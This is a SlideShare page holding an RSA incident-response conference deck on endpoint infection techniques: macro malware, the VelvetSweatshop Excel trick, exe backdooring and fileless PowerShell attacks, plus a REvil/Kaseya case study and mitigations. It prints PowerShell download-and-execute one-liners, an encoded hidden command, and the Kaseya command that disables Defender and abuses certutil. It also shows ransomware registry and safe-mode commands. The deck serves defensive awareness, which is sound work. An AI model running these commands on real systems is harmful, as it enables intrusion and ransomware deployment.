SlideShare a Scribd company logo
1 of 39
©2020 RSA Security, LLC., a Dell Technologies business
"From velvet to silk...
there is still a lot of sweat…”
Round-up upon modern endpoint infection
techniques
Who we are: Stefano
• I am a Senior Principal Consultant for Incident
Response and a leading figure of the RSA IR Team.
• I begun my ICT career in 1997 in Digital Corp, but I
started to crack software in 1985 with a
Commodore C64…
• I decided to get out of the cracking scene in 2000
and for about three years I remained focused on
Networking and System administration… until
Nimda and Blaster came out and testing network
and system security became an interesting
career…
• I worked on the testing and offensive side until
2009 when I jumped into the IR bandwagon.
• Since then I got busy with engagement around the
world… covering investigation in banks, military,
governments and telco companies.
Who we are: Alessandro
• Today: EMEA Incident Response Consultant @ RSA
• Past: 22 years of experience
• Love hunting and intelligence
• Working on Offensive side in controlled attacks for our
Customers worldwide
• A proud dad and happy husband
End users threat landscape in 2021
• Today, online users are surrounded by threats that may differ in their
techniques and motivations, but that all share one common point: these cyber-
threats are increasingly target end-users directly.
• Security reports show that spear phishing was the number one infection
vector employed by 71% of organized cybercriminal groups in 2017, while 75%
of businesses reported being a victim of spear-phishing in 2018 (source:
Proofpoint, 2019).
• Nearly 7% of the global web requests
analyzed by Symantec (2018) lead to
malware infection, and one email out of a
100 contained a malicious attachment.
• These studies show that humans are the
greatest factor in vulnerability, and that
they are targeted by blackhats.
End users threat landscape in 2021
• Currently, most security efforts are focused on technological questions.
• Vulnerabilities and technical exploits have always been of interest to
security vendors and even researchers nevertheless, when the approach
forced the rethinking of specific behaviors on core technologies that was
seen as impractical, forcing the persistence of such exposures…
• This attitude has created a false perception among security practitioners
and constrained protection within a narrow range that does not go beyond
presenting technical vulnerability problems
• In several cases, vendor do not solve the root causes leaving some of
these issues unresolved for years, as we will confirm later.
• This presentation provides a round-up of user-oriented attacks.
Our goal, today, is to raise awareness about the problem that is
often underestimated or considered impractical to be solved.
Are you looking for
something new?…
no no…
this is old… pretty old…
The Macro question…
• Macros in Microsoft Office are an effective way to automate basic tasks and
increase productivity. In general, we cannot decide to avoid macros…
• Macro malware, on the other hand, takes advantage of these features to infect
computers.
• Macro malware is distributed as email attachments or ZIP files and hides in
Microsoft Office files.
• The names of these files are designed to
entice or intimidate people into opening
them. They resemble invoices, receipts,
legal records, and other documents.
When the macros run, malware coded
will begin to spread into the system and
carry out actions such as download
additional malware or spawn a shell to
allow access to the system.
Are Microsoft Office documents resilient?
• Office documents, such as Word and Excel files, can be password-protected
using a symmetric key encryption mechanism involving one password which is
the key to both encrypt and decrypt a file.
• This makes the email and the attachment very
suspicious, thus greatly reducing the chance
that the intended victim will open the encrypted
malicious attachment.
• Malware writers use this key as an additional
evasion technique to hide malicious code from
anti-virus (AV) scanning engines.
• The problem is that encrypting a file introduces
the disadvantage of requiring a potential victim
to enter a password (which is normally included
in the phishing or spam email containing the
encrypted attachment).
VelvetSweatshop
• The good news (for the attackers) is that Microsoft Excel can automatically
decrypt a given encrypted spreadsheet without asking for a password if the
password for encryption happens to be “VelvetSweatshop”.
• This is a default key stored in Microsoft Excel program code for decryption.
• It’s a neat trick that attackers can leverage to encrypt malicious Excel files in
order to evade static-analysis-based detection systems, while eliminating the
need for a potential victim to enter a password.
©2020 RSA Security, LLC., a Dell Technologies business
LAB TIME
C O N F I D E N T I A L
Last year Ransomware case
• When we speak about Macro threats we are talking about this…
Emotet+Trickbot delivered via spearphish email with malicious Macro…
Trick but…
…It can be even more complicated…
Word reads cell content from XLS
decrypted with VelvetSweatshop
Word writes the additional
cell content into XLS
Cmdline: rundll32.exe shell32.dll, control_RunDll <downloaded DLL.
Word macro calls for the
download of encrypted XLS
1
2
3
Excel VBA downloads DLL and
executes it with rundll32.exe
4
Backdoored exes
Backdooring an exe
• Have you ever downloaded a cracked a software?
• If you did it, now look at this…
Basic manual backdooring
Some instructions
.text Section Start
.text Section Ends
.Other Sections (.data/.reloc)
Before Backdooring
Instruction replaced with JMP Cave
.text Section Start
.text Section Ends
.Other Sections (.data/.reloc)
After Backdooring
Instruction to execute after Cave
Some instructions
Some instructions
Some instructions
Some instructions
CODE CAVE
PUSHAD/PUSHFD
Align Stack
Overwritten Entry Point Instruction
JMP Next Instruction
SHELLCODE
A PoC using Shellter
• Shellter is equipped for re-encoding any local 32-bit independent Windows
application.
• Since we are endeavoring to stay away from Antivirus detection, we need to
abstain from whatever may look suspicious to AV programming, for example,
stuffed applications or applications that have more than one area containing
executable code.
• Shellter is designed for taking any of these 32-bit Windows applications and
installing shellcode, either your custom payload or one accessible from such
apps as Metasploit, in a way that is all the time hidden by anti-virus
programming.
• Since you can utilize any 32-bit application, you can make just about a vast
number of signatures, making it almost unimaginable for anti-virus
programming to distinguish.
©2020 RSA Security, LLC., a Dell Technologies business
LAB TIME
C O N F I D E N T I A L
Fileless – LotL attacks
Living off-the-land attacks
• A Living off the Land (LotL) attack describes a
cyberattack in which intruders use legitimate
software and functions available in the system to
perform malicious actions on it.
• Living off the land means surviving on what you can
forage, hunt, or grow in nature.
• LotL cyberattack operators forage on target systems
for tools, such as operating system components or
installed software, they can use to achieve their
goals. LotL attacks are often classified as fileless
because they do not leave any artifacts behind.
Fileless attacks
Memory
only
malware
Non-PE
files
Fileless
loadpoint
Dual-use
tools
Malicious Remote code such as EternalBlue and Duqu
Using benign tools such as PsExec or ProcDump to do malicious actions
Documents with Macro, PDFs with Javascripts and scripts (VBS, Javascript, Powershell…)
Hiding scripts in the registry, WMI or GPO (e.g. Powerliks and Kovter
Living off the land attack chain
Attack Persistence Payload
Exploit in memory
(eternal blue)
Email with Non-PE
file
e.g. document Macro
Remote script
dropper
e.g. LNK with Powershell
from cloud
Weak or stolen
credentials
Filless persistence
loadpoint
e.g. Jscript in registry
Regular non-fileless
method
Memory only malware
e.g. SQL Slammer
Dual-use tools
e.g. Netsh
Mamory-only payload
e.g. Mirai DDoS tool
Non-PE file payload
e.g. Powershell script
Regular non-fileless
payload
Persistent
Non-Persistent
Non-PE files
• Scripts are very popular, especially PowerShell
• Many script toolkits available
• Scripts are easy to obfuscate and difficult to detect with signatures
• Scripts are flexible and can be quickly adapted if needed
Powershell.exe –nop –ep Bypass –noexit –c
[System.Net.ServicePoint>manager]::ServerCertificateValidatorCallback = {$true};
iex ((New-Object System.Net.WebClient).DownloadString(‘[REMOVED]’))
Powershell.exe
(New-Object System.Net.WebClient).DownloadFile
(‘http://example.com/~blackhat/iesecv.exe’,”$env:APPDATAscvkem.exe”);
Start-Process (“$env:APPDATAscvkem.exe”)
Powershell.exe –nop –w hidden -encodedcommand
JABzAD0ATgB1AHcALQBPAGIAagBIAagBIAGAdAAeAEkATwAuAE0AZQBtAG8Ac
gB5AMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBIADYANAB
TAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWAA2ADMATwBpAFMAaABi
AC8ASABQADgASwBQAHEAUgBLAEwAVQAyAEMAagA1AGcANABXADEATgAxAFYAVQBCAFEAUQBCAFQAZgB1A
GEAawBVAGoAeABaAFIAbwBIAGsA
Common malware use cases for Powershell
Downloader Loadpoint
Lateral
Movement
Powershell script
used to download
payload to disk or
memory.
Often used in
email attachments
such as WSF or
document macros
Powershell script
used as persistent
loadpoints on
Windows
Often stored
completely in
registry (fileless)
as in infections
like Kovter or
within WMI
Powershell script
remoting to
execute on
remote computer
(Invoke-
Command)
Download and
execute Mimikatz,
etc… in order to
steal credentials
Detection challenges
• If no file is written to disk security measures might not work
• Lack of indicators of compromise (IoCs) for sharing
• Common malware does not always use a loadpoint anymore
???
©2020 RSA Security, LLC., a Dell Technologies business
LAB TIME
C O N F I D E N T I A L
A real case from the field
REvil
• This breach is software supply chain attack, the victim was Kaseya.
• Kaseya VSA is an IT management suite, commonly used for managing software
and patching for Windows OS, macOS, or third-party software. Unlike the
SolarWinds attack, the attackers’ goal was monetary gain rather than cyber
espionage.
• The attacks have been attributed to REvil, ransomware was first identified in
April 2019 according to MITRE. REvil is a ransomware family that has been
linked to GOLD SOUTHFIELD, a financially motivated group that operates a
“Ransomware as a service” model.
Kaseya attack
• The ransomware was delivered via a malicious update payload sent out to the Kaseya VSA
server platform. The REvil gang used a Kaseya VSA zero-day vulnerability (CVE-2021-30116) in
the Kaseya VSA server platform.
• The “Kaseya VSA Agent Hot-fix” procedure ran the following command:
"C:WINDOWSsystem32cmd.exe" /c ping 127.0.0.1 -n 4979 > nul &
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe Set-MpPreference -
DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection
$true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection
AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y
C:WindowsSystem32certutil.exe C:Windowscert.exe & echo %RANDOM% >> C:Windowscert.exe &
C:Windowscert.exe -decode c:kworkingagent.crt c:kworkingagent.exe & del /q /f
c:kworkingagent.crt C:Windowscert.exe & c:kworkingagent.exe
• The above command:
➢ disables Windows Defender,
➢ copies and renames certutil.exe to %SystemDrive%Windows,
➢ decrypts the agent.crt file.
• Certutil.exe is mostly used as a “living-off-the-land” binary and is capable of downloading and
decoding web-encoded content. In order to avoid detection, the attacker copied this utility as
%SystemDrive %cert.exe and executed the malicious payload agent.exe.
Agent.exe
• The agent.exe contains two resources (MODLS.RC, SOFIS.RC) in it as shown in
the following image.
• Agent.exe dropped these resources in the
windows folder. Resources named MODLIS
and SOFTIS were dropped as mpsvc.dll and
MsMpEng.exe respectively.
• MsMpeng.exe is an older version of
Microsoft’s Antimalware Service
executable which is vulnerable to a DLL
side-loading attack.
• In a DLL side-loading attack, malicious
code is in a DLL file with a similar name
which is required for the target executable.
Agent.exe
• Agent.exe then drops MsMpeng.exe and mpsvc.dll.
• After dropping these two files, agent.exe executes
MsMpeng.exe
• When MpMseng.exe runs and calls the
ServiceCrtMain, the Malicious Mpsvc.dll loads and
gets loaded and executed.
Ransomware Execution
• During the loading process the DLL the malware uses ‘CreateFileMappingW’
and ‘MapViewOfFile’ APIs functions to bring code in memory and decrypt it.
• The malware removes some unused magic constats from the header in the
process to evade AV and EDR tools (for example the MZ, the 0x4D5A value)
executing the malware as a shellcode.
• During its execution the malware decrypts and bring its config file in memory
as a JSON format.
• Then changes the local firewall rule:
“netsh advfirewall firewall set rule group==”Network Discovery” new enable=Yes”
Ransomware Execution
• The malware adds registry values under the following Registry Key.
• It creates the following Registry entry:
• The following values are added in
HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeBlackLivesMatter
HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeBlackLivesMatter:
96Ia6 = {Hex Value}
Ed7 = {Hex Value}
JmfOBvhb = {Hex Value}
QIeQ = {Hex Value}
Ucr1RB = {Hex Value}
wJWsTYE = .{appended extension to files after encryption}
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon
AutoAdminLogon = 1
DefaultUserName = {Current User Name}
DefaultPassword = “DTrump4ever”
• With the above Registry values, windows will automatically log in with new
account information.
Ransomare execution
• The malware executes the following commands to force the computer to boot
into safe mode with Networking:
• Also, malware add the same command in Registry under
• Finally, a ransom note is dropped using a random filename for example
bcdedit /set {current} safeboot network
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce
*MarineLePen = bcdedit /set {current} safeboot network
“s5q76-readme.txt”.
Mitigation anyone???
Conclusion
• Nearly all targeted attack groups use system tools or fileless injection
techniques in their attacks
• Sandboxes, Antivirus and EDR solutions are often not able to handle these
attacks properly
• Fileless or LotL attacks are difficult to detect as they leave less traces and
are less obvious than other attack types
• Application whitelisting will not protect against these attacks and tactics
• Script attacks, especially PowerShell and WMI are very common nowadays
Technological support
• Non signature-based detection
is the future of EDR to enhance
prevention
• EDR technologies are converging
and are more focused on post-
execution detection nowadays
• But Full EDR features are for
SOC and large enterprise
hunting
• EDR will expand to integrate
with UEBA capabilities – user
risk scoring on top of malware
detection…
Mitigation & Best Practices
• Monitor the use of dual-use tools inside your network
• Block remote execution through PsExec and WMI (if possible)
• Enable better logging and process the information (if possible)
• Enable advanced account security features like MFA and login notification (if
possible)
• Protect against password and credential theft with behaviour based security
solutions
• Enforce tight controls upon RDP technologies adopted inside the perimeter
From velvet to silk  there is still a lot of sweat

More Related Content

What's hot

Apt sharing tisa protalk 2-2554
Apt sharing tisa protalk 2-2554Apt sharing tisa protalk 2-2554
Apt sharing tisa protalk 2-2554
TISA
 

What's hot (20)

Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...Proactive cyber defence through adversary emulation for improving your securi...
Proactive cyber defence through adversary emulation for improving your securi...
 
Panda Security - Adaptive Defense 360
Panda Security - Adaptive Defense 360Panda Security - Adaptive Defense 360
Panda Security - Adaptive Defense 360
 
Apt sharing tisa protalk 2-2554
Apt sharing tisa protalk 2-2554Apt sharing tisa protalk 2-2554
Apt sharing tisa protalk 2-2554
 
How to Detect a Cryptolocker Infection with AlienVault USM
How to Detect a Cryptolocker Infection with AlienVault USMHow to Detect a Cryptolocker Infection with AlienVault USM
How to Detect a Cryptolocker Infection with AlienVault USM
 
Common Techniques To Identify Advanced Persistent Threat (APT)
Common Techniques To Identify Advanced Persistent Threat (APT)Common Techniques To Identify Advanced Persistent Threat (APT)
Common Techniques To Identify Advanced Persistent Threat (APT)
 
Advanced persistent threats(APT)
Advanced persistent threats(APT)Advanced persistent threats(APT)
Advanced persistent threats(APT)
 
Information Security Awareness
Information Security AwarenessInformation Security Awareness
Information Security Awareness
 
Alienvault threat alerts in spiceworks
Alienvault threat alerts in spiceworksAlienvault threat alerts in spiceworks
Alienvault threat alerts in spiceworks
 
New USM v5.0 - Get Complete Security Visibility Faster & Easier Than Ever
New USM v5.0 - Get Complete Security Visibility Faster & Easier Than EverNew USM v5.0 - Get Complete Security Visibility Faster & Easier Than Ever
New USM v5.0 - Get Complete Security Visibility Faster & Easier Than Ever
 
IT system security principles practices
IT system security principles practicesIT system security principles practices
IT system security principles practices
 
Cybersecurity…real world solutions
Cybersecurity…real world solutions Cybersecurity…real world solutions
Cybersecurity…real world solutions
 
Cyber Kill Chain Deck for General Audience
Cyber Kill Chain Deck for General AudienceCyber Kill Chain Deck for General Audience
Cyber Kill Chain Deck for General Audience
 
Detect Unknown Threats, Reduce Dwell Time, Accelerate Response
Detect Unknown Threats, Reduce Dwell Time, Accelerate ResponseDetect Unknown Threats, Reduce Dwell Time, Accelerate Response
Detect Unknown Threats, Reduce Dwell Time, Accelerate Response
 
Leveraging Vulnerability Management Beyond DPR (Discovery - Prioritization - ...
Leveraging Vulnerability Management Beyond DPR (Discovery - Prioritization - ...Leveraging Vulnerability Management Beyond DPR (Discovery - Prioritization - ...
Leveraging Vulnerability Management Beyond DPR (Discovery - Prioritization - ...
 
Journey to the Center of Security Operations
Journey to the Center of Security OperationsJourney to the Center of Security Operations
Journey to the Center of Security Operations
 
Evolution of ransomware
Evolution of ransomwareEvolution of ransomware
Evolution of ransomware
 
Ransomware Detection: Don’t Pay Up. Backup.
Ransomware Detection:  Don’t Pay Up. Backup.Ransomware Detection:  Don’t Pay Up. Backup.
Ransomware Detection: Don’t Pay Up. Backup.
 
Demo how to detect ransomware with alien vault usm_gg
Demo  how to detect ransomware with alien vault usm_ggDemo  how to detect ransomware with alien vault usm_gg
Demo how to detect ransomware with alien vault usm_gg
 
DC970 Presents: Defense in Depth
DC970 Presents: Defense in DepthDC970 Presents: Defense in Depth
DC970 Presents: Defense in Depth
 
Cyber Kill Chain vs. Cyber Criminals
Cyber Kill Chain vs. Cyber CriminalsCyber Kill Chain vs. Cyber Criminals
Cyber Kill Chain vs. Cyber Criminals
 

Similar to From velvet to silk there is still a lot of sweat

CISSP Week 14
CISSP Week 14CISSP Week 14
CISSP Week 14
jemtallon
 
Network Security Is Important For Protecting Your Computer
Network Security Is Important For Protecting Your ComputerNetwork Security Is Important For Protecting Your Computer
Network Security Is Important For Protecting Your Computer
Angie Willis
 
Beyond security testing
Beyond security testingBeyond security testing
Beyond security testing
Cu Nguyen
 
2014CyberSecurityProject
2014CyberSecurityProject2014CyberSecurityProject
2014CyberSecurityProject
Kaley Hair
 
Networking 2016-06-14 - The Dirty Secrets of Enterprise Security by Kevin Dunn
Networking 2016-06-14 - The Dirty Secrets of Enterprise Security by Kevin DunnNetworking 2016-06-14 - The Dirty Secrets of Enterprise Security by Kevin Dunn
Networking 2016-06-14 - The Dirty Secrets of Enterprise Security by Kevin Dunn
North Texas Chapter of the ISSA
 
You are Doing IT Security Wrong - Understanding the Threat of Modern Cyber-at...
You are Doing IT Security Wrong - Understanding the Threat of Modern Cyber-at...You are Doing IT Security Wrong - Understanding the Threat of Modern Cyber-at...
You are Doing IT Security Wrong - Understanding the Threat of Modern Cyber-at...
Michael Noel
 

Similar to From velvet to silk there is still a lot of sweat (20)

Bypass_AV-EDR.pdf
Bypass_AV-EDR.pdfBypass_AV-EDR.pdf
Bypass_AV-EDR.pdf
 
Chapter 9 system penetration [compatibility mode]
Chapter 9 system penetration [compatibility mode]Chapter 9 system penetration [compatibility mode]
Chapter 9 system penetration [compatibility mode]
 
Advanced Persistent Threats (APTs) - Information Security Management
Advanced Persistent Threats (APTs) - Information Security ManagementAdvanced Persistent Threats (APTs) - Information Security Management
Advanced Persistent Threats (APTs) - Information Security Management
 
Presentation infra and_datacentrre_dialogue_v2
Presentation infra and_datacentrre_dialogue_v2Presentation infra and_datacentrre_dialogue_v2
Presentation infra and_datacentrre_dialogue_v2
 
Defending Enterprise IT - beating assymetricality
Defending Enterprise IT - beating assymetricalityDefending Enterprise IT - beating assymetricality
Defending Enterprise IT - beating assymetricality
 
CISSP Week 14
CISSP Week 14CISSP Week 14
CISSP Week 14
 
Top 10 Software to Detect & Prevent Security Vulnerabilities from BlackHat US...
Top 10 Software to Detect & Prevent Security Vulnerabilities from BlackHat US...Top 10 Software to Detect & Prevent Security Vulnerabilities from BlackHat US...
Top 10 Software to Detect & Prevent Security Vulnerabilities from BlackHat US...
 
File inflection techniques
File inflection techniquesFile inflection techniques
File inflection techniques
 
How to stay protected against ransomware
How to stay protected against ransomwareHow to stay protected against ransomware
How to stay protected against ransomware
 
Yow connected developing secure i os applications
Yow connected   developing secure i os applicationsYow connected   developing secure i os applications
Yow connected developing secure i os applications
 
For Business's Sake, Let's focus on AppSec
For Business's Sake, Let's focus on AppSecFor Business's Sake, Let's focus on AppSec
For Business's Sake, Let's focus on AppSec
 
Program security
Program securityProgram security
Program security
 
Network Security Is Important For Protecting Your Computer
Network Security Is Important For Protecting Your ComputerNetwork Security Is Important For Protecting Your Computer
Network Security Is Important For Protecting Your Computer
 
Cyber security event
Cyber security eventCyber security event
Cyber security event
 
Beyond security testing
Beyond security testingBeyond security testing
Beyond security testing
 
Managing security threats in today’s enterprise
Managing security threats in today’s enterpriseManaging security threats in today’s enterprise
Managing security threats in today’s enterprise
 
2014CyberSecurityProject
2014CyberSecurityProject2014CyberSecurityProject
2014CyberSecurityProject
 
Networking 2016-06-14 - The Dirty Secrets of Enterprise Security by Kevin Dunn
Networking 2016-06-14 - The Dirty Secrets of Enterprise Security by Kevin DunnNetworking 2016-06-14 - The Dirty Secrets of Enterprise Security by Kevin Dunn
Networking 2016-06-14 - The Dirty Secrets of Enterprise Security by Kevin Dunn
 
Keynote at the Cyber Security Summit Prague 2015
Keynote at the Cyber Security Summit Prague 2015Keynote at the Cyber Security Summit Prague 2015
Keynote at the Cyber Security Summit Prague 2015
 
You are Doing IT Security Wrong - Understanding the Threat of Modern Cyber-at...
You are Doing IT Security Wrong - Understanding the Threat of Modern Cyber-at...You are Doing IT Security Wrong - Understanding the Threat of Modern Cyber-at...
You are Doing IT Security Wrong - Understanding the Threat of Modern Cyber-at...
 

More from Stefano Maccaglia

Maccaglia - Cybercrime un approccio tecnologico e sociologico
Maccaglia - Cybercrime un approccio tecnologico e sociologicoMaccaglia - Cybercrime un approccio tecnologico e sociologico
Maccaglia - Cybercrime un approccio tecnologico e sociologico
Stefano Maccaglia
 

More from Stefano Maccaglia (7)

Netwitness RT - Don’t scratch that patch.pptx
Netwitness RT - Don’t scratch that patch.pptxNetwitness RT - Don’t scratch that patch.pptx
Netwitness RT - Don’t scratch that patch.pptx
 
Insert coin to continue - Ransomware in the gaming industry.pdf
Insert coin to continue - Ransomware in the gaming industry.pdfInsert coin to continue - Ransomware in the gaming industry.pdf
Insert coin to continue - Ransomware in the gaming industry.pdf
 
Light, Dark and... a Sunburst... dissection of a very sophisticated attack.
Light, Dark and... a Sunburst... dissection of a very sophisticated attack.Light, Dark and... a Sunburst... dissection of a very sophisticated attack.
Light, Dark and... a Sunburst... dissection of a very sophisticated attack.
 
Chasing the Adder. A tale from the APT world...
Chasing the Adder. A tale from the APT world...Chasing the Adder. A tale from the APT world...
Chasing the Adder. A tale from the APT world...
 
BSides IR in Heterogeneous Environment
BSides IR in Heterogeneous EnvironmentBSides IR in Heterogeneous Environment
BSides IR in Heterogeneous Environment
 
DCC 2016 New strategies, old actors - APT and the evolution of Cybercrimina...
DCC 2016   New strategies, old actors - APT and the evolution of Cybercrimina...DCC 2016   New strategies, old actors - APT and the evolution of Cybercrimina...
DCC 2016 New strategies, old actors - APT and the evolution of Cybercrimina...
 
Maccaglia - Cybercrime un approccio tecnologico e sociologico
Maccaglia - Cybercrime un approccio tecnologico e sociologicoMaccaglia - Cybercrime un approccio tecnologico e sociologico
Maccaglia - Cybercrime un approccio tecnologico e sociologico
 

Recently uploaded

Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
panagenda
 

Recently uploaded (20)

HTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesHTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation Strategies
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 

From velvet to silk there is still a lot of sweat

  • 1. ©2020 RSA Security, LLC., a Dell Technologies business "From velvet to silk... there is still a lot of sweat…” Round-up upon modern endpoint infection techniques
  • 2. Who we are: Stefano • I am a Senior Principal Consultant for Incident Response and a leading figure of the RSA IR Team. • I begun my ICT career in 1997 in Digital Corp, but I started to crack software in 1985 with a Commodore C64… • I decided to get out of the cracking scene in 2000 and for about three years I remained focused on Networking and System administration… until Nimda and Blaster came out and testing network and system security became an interesting career… • I worked on the testing and offensive side until 2009 when I jumped into the IR bandwagon. • Since then I got busy with engagement around the world… covering investigation in banks, military, governments and telco companies.
  • 3. Who we are: Alessandro • Today: EMEA Incident Response Consultant @ RSA • Past: 22 years of experience • Love hunting and intelligence • Working on Offensive side in controlled attacks for our Customers worldwide • A proud dad and happy husband
  • 4. End users threat landscape in 2021 • Today, online users are surrounded by threats that may differ in their techniques and motivations, but that all share one common point: these cyber- threats are increasingly target end-users directly. • Security reports show that spear phishing was the number one infection vector employed by 71% of organized cybercriminal groups in 2017, while 75% of businesses reported being a victim of spear-phishing in 2018 (source: Proofpoint, 2019). • Nearly 7% of the global web requests analyzed by Symantec (2018) lead to malware infection, and one email out of a 100 contained a malicious attachment. • These studies show that humans are the greatest factor in vulnerability, and that they are targeted by blackhats.
  • 5. End users threat landscape in 2021 • Currently, most security efforts are focused on technological questions. • Vulnerabilities and technical exploits have always been of interest to security vendors and even researchers nevertheless, when the approach forced the rethinking of specific behaviors on core technologies that was seen as impractical, forcing the persistence of such exposures… • This attitude has created a false perception among security practitioners and constrained protection within a narrow range that does not go beyond presenting technical vulnerability problems • In several cases, vendor do not solve the root causes leaving some of these issues unresolved for years, as we will confirm later. • This presentation provides a round-up of user-oriented attacks. Our goal, today, is to raise awareness about the problem that is often underestimated or considered impractical to be solved.
  • 6. Are you looking for something new?… no no… this is old… pretty old…
  • 7. The Macro question… • Macros in Microsoft Office are an effective way to automate basic tasks and increase productivity. In general, we cannot decide to avoid macros… • Macro malware, on the other hand, takes advantage of these features to infect computers. • Macro malware is distributed as email attachments or ZIP files and hides in Microsoft Office files. • The names of these files are designed to entice or intimidate people into opening them. They resemble invoices, receipts, legal records, and other documents. When the macros run, malware coded will begin to spread into the system and carry out actions such as download additional malware or spawn a shell to allow access to the system.
